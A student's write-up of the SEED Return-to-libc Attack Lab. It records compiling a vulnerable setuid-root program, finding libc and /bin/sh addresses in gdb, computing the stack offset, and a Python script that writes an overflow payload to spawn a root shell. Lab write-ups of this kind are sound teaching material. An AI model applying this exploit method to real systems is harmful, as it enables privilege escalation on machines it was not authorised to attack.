Return-to-libc Attack Lab

Xinyi Li

February 27, 2020

Task 1

Use the default `BUF_SIZE` as 12

```
gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib
sudo chmod 4755 retlib
```

Task 2

```
[02/27/20]seed@VM:~/.../return_to_lic$ touch badfile
[02/27/20]seed@VM:~/.../return_to_lic$ gdb -q retlib
Reading symbols from retlib...(no debugging symbols
    found)...done.
gdb-peda$ run
Starting program: /home/seed/Documents/return_to_lic/retlib
Returned Properly
[Inferior 1 (process 3038) exited with code 01]
Warning: not running or target is remote
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$ quit
```

Task 3

Write a `envaddr.c`

```
#include <stdio.h>
#include <stdlib.h>

void main()
```

```
{
    char *shell = getenv("MYSHELL");
    if (shell)
        printf("%x\n", (unsigned int)shell);
}
```

Keep the name of the executable program with length 6 (=len('retlib'))

```
gcc envaddr.c -o env666
```

The address of \bin\sh is 0xbffffdef.

Task 4

Find the offset:

```
$ gcc -fno-stack-protector -z noexecstack -g -o retlib_dbg
    retlib.c
$ gdb -q retlib_dbg
Reading symbols from retlib_dbg...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file retlib.c, line 19.
gdb-peda$ run
Starting program: /home/seed/Documents/return_to_lic/retlib_dbg
...
Breakpoint 1, bof (badfile=0x804fa88) at retlib.c:19
19      fread(buffer, sizeof(char), 300, badfile);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffecb8
gdb-peda$ p &buffer
$2 = (char (*)[12]) 0xbfffeca4
gdb-peda$ p/d 0xbfffecb8 - 0xbfffeca4
$3 = 20
gdb-peda$ quit
```

So, the distance between %ebp and &buffer inside the function bof is 20 bytes

- The range to store the address of system is: content[24:28]
- The range to store the address of exit is: content[28:32]
- The range to store the address of \bin\sh is: content[32:36]

Compose exploit.py as follows:

```
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

```

```
X = 32
sh_addr = 0xbffffdef       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 24
system_addr = 0xb7e42da0  # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 28
exit_addr = 0xb7e369d0    # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```